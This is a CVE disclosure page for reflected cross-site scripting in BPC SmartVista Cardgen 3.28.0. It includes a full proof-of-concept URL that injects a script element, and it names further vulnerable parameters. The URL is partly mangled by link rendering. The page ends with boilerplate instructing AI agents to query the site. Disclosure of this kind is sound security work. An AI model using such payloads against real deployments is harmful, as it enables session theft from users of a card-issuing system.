# Reflected XSS in SmartVista Cardgen version 3.28.0 (CVE-2022-35554)

## CVE-2022-35554

**Date:** 07/07/2022

**Exploit Author:** Tin Pham aka TF1T of VietSunshine Cyber Security Services

**Vendor Homepage:** <https://www.bpcbt.com/smartvista-solutions/>

**Affected Version(s):** SmartVista Cardgen version 3.28.0 (and prior)

**Description:** Multiple reflected XSS vulnerabilties occur when handling error message of BPC SmartVista Cardgen version 3.28.0 and prior allows attacker to execute javascript code at client side.

**Steps to reproduce:**

An attacker sends a draft URL https\://\[URL]/svcl/pages/monitoring/printingController.xhtml?javax.faces.partial.ajax=true\&javax.faces.source=mainform%3AactiveProcesses\&javax.faces.partial.execute=mainform%3AactiveProcesses\&javax.faces.partial.render=mainform%3AactiveProcesses\&mainform%3AactiveProcesses=mainform%3AactiveProcesses\&mainform%3AactiveProcesses\_pagination=true\&mainform%3AactiveProcesses\_first=6"]]>\<x:script+xmlns%3ax%3d"http%3a//[www.w3.org/1999/xhtml">alert(document.domain)\</x%3ascript>\&mainform%3AactiveProcesses\_rows=6\&mainform%3AactiveProcesses\_skipChildren=true\&mainform%3AactiveProcesses\_encodeFeature=true\&mainform=mainform\&mainform%3AactiveProcesses\_selection=\&mainform%3AactiveProcesses\_scrollState=0%2C0\&mainform%3Abatches\_selection=\&mainform%3Abatches\_scrollState=0%2C0\&mainform%3AprintEntries\_selection=\&mainform%3AprintEntries\_scrollState=0%2C0\&javax.faces.ViewState=0000000000000000000%3A0000000000000000000](http://www.w3.org/1999/xhtml">alert\(document.domain\)</x%3ascript>\&mainform%3AactiveProcesses_rows=6\&mainform%3AactiveProcesses_skipChildren=true\&mainform%3AactiveProcesses_encodeFeature=true\&mainform=mainform\&mainform%3AactiveProcesses_selection=\&mainform%3AactiveProcesses_scrollState=0%2C0\&mainform%3Abatches_selection=\&mainform%3Abatches_scrollState=0%2C0\&mainform%3AprintEntries_selection=\&mainform%3AprintEntries_scrollState=0%2C0\&javax.faces.ViewState=0000000000000000000%3A0000000000000000000) to victim. When victim opens the URL, XSS will be triggered. In this URL, the javax.faces.ViewState parameter can be modified to have random value but having same length as value generated by application

These URLs below have same vulnerability, BUT you CANNOT modify the ViewState parameter like the URL above

* URL /svcl/pages/monitoring/monitoring.xhtml: parameter mainform:processTabPanel\_activeIndex
* URL /svcl/pages/services/formatter/mainconfiguration.xhtml: parameter mainform:mainTable\_selection.

![popup](https://518888899-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfnmyxOyBvbgbc6H5GTuf%2Fuploads%2FgmcPKlDKJy2YIw72Sabi%2FReflected_XSS.png?alt=media\&token=4e9ce0be-e6c0-41f8-ad15-aa3aafeef7f5)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://tf1t.gitbook.io/mycve/smartvista/smartvista-cardgen/reflected-xss-in-smartvista-cardgen-version-3.28.0-cve-2022-35554.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
